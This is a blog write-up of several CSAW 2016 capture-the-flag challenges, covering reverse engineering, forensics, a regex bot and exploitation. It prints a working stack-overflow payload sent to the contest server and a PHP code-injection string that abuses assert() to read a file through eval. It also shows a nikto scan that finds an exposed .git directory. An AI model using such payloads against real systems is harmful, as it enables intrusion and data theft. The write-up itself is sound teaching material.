By Jeff White (karttoon)
Another year, another CSAW. Wasn't able to scrounge up a team this year, or spend much time playing (damn responsibilities!), but I did get to play some with @_jsoo_ and had a good time regardless. CSAW always has a great mix of challenges.
Pwn - 50 - Warmup
We're provided the below binary for this exploit challenge.
# file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
# ./checksec -f warmup
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No	0		4	warmup
# ./warmup
-Warm Up-
WOW:0x40060d
>abc123
We've got the NX bit set but otherwise nothing really enabled (this is the warmup afterall). When we run the program we receive what looks like an address at 0x40060D. Looking at the address in gdb we can see a function call for system with the value at 0x400734 passed to it.
(gdb) x/10i 0x40060D
   0x40060d <easy>:	push   %rbp
   0x40060e <easy+1>:	mov    %rsp,%rbp
   0x400611 <easy+4>:	mov    $0x400734,%edi
   0x400616 <easy+9>:	callq  0x4004d0 <system@plt>
   0x40061b <easy+14>:	pop    %rbp
   0x40061c <easy+15>:	retq
   0x40061d <main>:	push   %rbp
   0x40061e <main+1>:	mov    %rsp,%rbp
   0x400621 <main+4>:	add    $0xffffffffffffff80,%rsp
   0x400625 <main+8>:	mov    $0xa,%edx
(gdb) x/s 0x400734
0x400734:	"cat flag.txt"
This is our flag printing function so we need to find a way to execute it. Looking back at our main program, we see a call to the gets function at 0x40069E and can assume this is a classic buffer-overflow challenge. Using our trusty friend \x41, we can quickly narrow in on the bytes we need and then create a string which will point RIP to the function we want to execute.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/warmup
-Warm Up-
WOW:0x40060d
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000004141414141 in ?? ()
# echo "hello" > flag.txt ; python -c "print 'A' * 72 + '\x0d\06\x40\x00\x00'" > bo_input
(gdb) r < bo_input
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/warmup < bo_input
-Warm Up-
WOW:0x40060d
>hello
Finally we run it against the server and receive the flag.
$ python -c 'print "A" * 72 + "\x0d\x06\x40\x00\x00"' |nc pwn.chal.csaw.io 8000
-Warm Up-
WOW:0x40060d
>FLAG{LET_US_BEGIN_CSAW_2016}
FLAG: FLAG{LET_US_BEGIN_CSAW_2016}
RE - 50 - Gametime
This challenge provided us the binary 'gametime.exe'.
$ file gametime.exe
gametime.exe: PE32 executable (console) Intel 80386, for MS Windows
Basically this is like the famous game DDR and you have to press certain keys as they pop-up in order to progress. I started looking at the code for this one in IDA and and toying with the idea of adjusting the sleep timers between each key being displayed before it timesout, but apparently I've wasted enough of my life playing videogames that I just beat it on the first run.
Funny story, I didn't even think about beating it in a legitimate fashion so the first time I played it I just ran it straight from the EXE, which meant that when I won, the window quickly vanished and I couldn't grab the key. Had to play it like three more times before I finally got it again for a screenshot :)
FLAG: no5c30416d6cf52638460377995c6a8cf5
Forensics - 50 - Kill
We're provided a PCAP file, "kill.pcapng" but honestly I couldn't tell you what the intended route for this challenge was.
$ strings kill.pcapng |grep "flag"
=flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}
FLAG: flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}
Forensics - 100 - Clams Don't Dance
For this challenge we're provided a "out.img" file.
# disktype /root/Desktop/out.img
--- /root/Desktop/out.img
Regular file, size 100 MiB (104857600 bytes)
FAT16 file system (hints score 3 of 5)
  Volume size 99.78 MiB (104630272 bytes, 51089 clusters of 2 KiB)
I played with mounting it and seeing if anything stood out but for whatever reason I was having a rough time mounting this so I went the Foremost route and carved it. In total, it extracted 714 zip files which, once extracted, had the contents for a PPT file.
# ls
[Content_Types].xml  docProps  ppt  _rels
# ls ppt/
media/        notesMasters/ notesSlides/  _rels/        slideLayouts/ slideMasters/ slides/       theme/
# cd ppt/media/
# ls
image0.gif   image14.jpg  image19.png  image23.jpg  image28.png  image32.gif  image37.png  image41.jpg  image8.jpg
image10.jpg  image15.jpg  image1.jpg   image24.png  image29.png  image33.jpg  image38.png  image4.png   image9.jpg
image11.png  image16.jpg  image20.jpg  image25.png  image2.jpg   image34.jpg  image39.png  image5.png
image12.png  image17.jpg  image21.jpg  image26.jpg  image30.png  image35.jpg  image3.jpg   image6.png
image13.jpg  image18.gif  image22.png  image27.png  image31.jpg  image36.jpg  image40.jpg  image7.jpg
Most of the images looked related to whatever this Clam-themed PPT was about except image0.gif, which stood out like a sore thumb.
A reverse Google image search showed that this was a Data Matrix (Maxicode) which is apparently primarily used by shipping companies, such as UPS. It's a two-layer format with inner and outter data and yatta yatta yatta...go read-up on it if you want, it's actually fairly interesting. Long story short, I found a data matrix decoder website and succesfully decoded out the flag.
FLAG: flag{TH1NK ABOUT 1T B1LL. 1F U D13D, WOULD ANY1 CARE??}
Misc - 100 - Regexpire
For this challenge, when you connect to the service provided you would receive a regex string. If you submitted back a string which matched their pattern before it timed-out then it would send you a new one, so on and so forth. The challenge was to parse their regex and generate a matching string so I decided to write something up in Python which can be found here (*note* my code is ugly! since reading some other solves for this challenge, there is a cool Python lib called 'rstr' which would have done the trick in a few lines of code).
#nc misc.chal.csaw.io 8001
Can you match these regexes?
(phone|lion)+n{5}D{5}(elephant|phone)+[YsX4NGUyO]+U+bS{5}(dolphin|apple)*n[OUL9M]{6}
phonennnnnDDDDDelephantYUbSSSSSdolphinnOOOOOO
G+[k-r]*[6GuiT4l]*O(spider|clinton)[AzZ3][i-r]*[rfiq\d]+(tomato|tiger)
Gk6OspiderAirtomato
Once I had a script worked out, it took 1,000 iterations before it spit the flag out...which is a bit excessive but there you have it.
Received 996:
[i-r](apple|alien)d[mVCve]*[.\dr\D0\wTz]*[k-r][CQqN6I][Ar5Knxaz]*W
Sending:
iappledm.kCAW
Received 997:
[e-j]*[a-zA-Z]ISp(wolf|apple)+[\wC]+u*[k-r][e-j]O
Sending:
eaISpwolfaukeO
Received 998:
(spider|gazelle)(clementine|tiger)*[a-z]*[pDKe]+[q\wLmb]+[oze][gM\W1t54n](potato|table)
Sending:
spiderclementineapqogpotato
Received 999:
[JeXv63vjUA][bVxn]a+(chair|table)[k-r]+(tomato|giraffe)qS*(dog|giraffe)W[\DRPgy8\W]+[8QE]{11}[\wY0TT8a]
Sending:
JbachairktomatoqSdogWa88888888888a
Received 1000:
flag{^regularly_express_yourself$}
FLAG: flag{^regularly_express_yourself$}
Web - 125 Mfw
This challenge was located at web.chal.csaw.io:8000 and looks relatively simple. It states that it was built with bootstrap, git, and PHP. Jacob nailed this one in the end!
Looking at the sourcecode for the page shows a commented out tab from the navigation bar called "flag".
<ul class="nav navbar-nav">
  <li class="active"><a href="?page=home">Home</a></li>
  <li ><a href="?page=about">About</a></li>
  <li ><a href="?page=contact">Contact</a></li>
  <!--<li ><a href="?page=flag">My secrets</a></li> -->
</ul>
A Nikto scan also shows some interesting data.
# nikto -host web.chal.csaw.io -p 8000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          216.165.2.38
+ Target Hostname:    web.chal.csaw.io
+ Target Port:        8000
+ Start Time:         2016-09-18 11:02:21 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.10.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ 7555 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2016-09-18 11:09:02 (GMT-4) (401 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Specifically the presence of the .git directory.
Browsing this directory led to multiple findings. If you run strings on the index file, it gave us the tree structure for the site.
$ strings index
DIRC
?1tf
index.php
templates/about.php
templates/contact.php
templates/flag.php
templates/home.php
TREE
templates
_ux}
[/Uk
Also, the presence of the /.git/objects/XX files gave us the compressed copies of the site data. You can deflate the object files with openssl's zlib module ('openssl zlib -d < $IN > $OUT') and will find that the file in /.git/objects/97/ (index.php) and /.git/objects/87/ (flag.php) are interesting.
flag.php
blob 30<?php
// TODO
//$FLAG = '';
?>
index.php
blob 2199<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>My PHP Website</title>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
    </head>
    <body>
        <nav class="navbar navbar-inverse navbar-fixed-top">
            <div class="container">
                <div class="navbar-header">
                    <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                        <span class="sr-only">Toggle navigation</span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                      </button>
                      <a class="navbar-brand" href="#">Project name</a>
                </div>
                <div id="navbar" class="collapse navbar-collapse">
                      <ul class="nav navbar-nav">
                        <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                        <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                        <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                        <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
                      </ul>
                </div>
            </div>
        </nav>
        <div class="container" style="margin-top: 50px">
            <?php
                require_once $file;
            ?>
        </div>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
        <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
    </body>
</html>
So we need to find a way to access the $FLAG variable in flag.php.
Looking at index.php we can see that it's taking the value passed to 'page' and prepending 'templates/' and while appending '.php' to the passed string. Afterwards, it does some checks to validate '..' isn't a substring (eg directory traversal). The key takeaway is that they are using the assert() function to accomplish this though, which is effectively like eval().
Jacob crafted a nice percent encoded string to grab the file contents of the flag.php file on the server and return it.
?page=a', '')|| die(eval('echo file_get_contents(\'templates/flag.php\');')); strpos('a
?page=a%27,%20%27%27%29%7c%7c%20die%28eval%28%27echo%20file_get_contents%28%5c%27templates/flag.php%5c%27%29%3b%27%29%29%3b%20strpos%28%27a
This turns the assert into the below.
assert("strpos('a', '')|| die(eval('echo file_get_contents(\'templates/flag.php\');')); strpos('a', '..') === false") or die("Detected hacking attempt!");
Finally, we can request the URL and validate our flag.
FLAG: flag{3vald_@ss3rt_1s_best_a$$ert}
Older posts...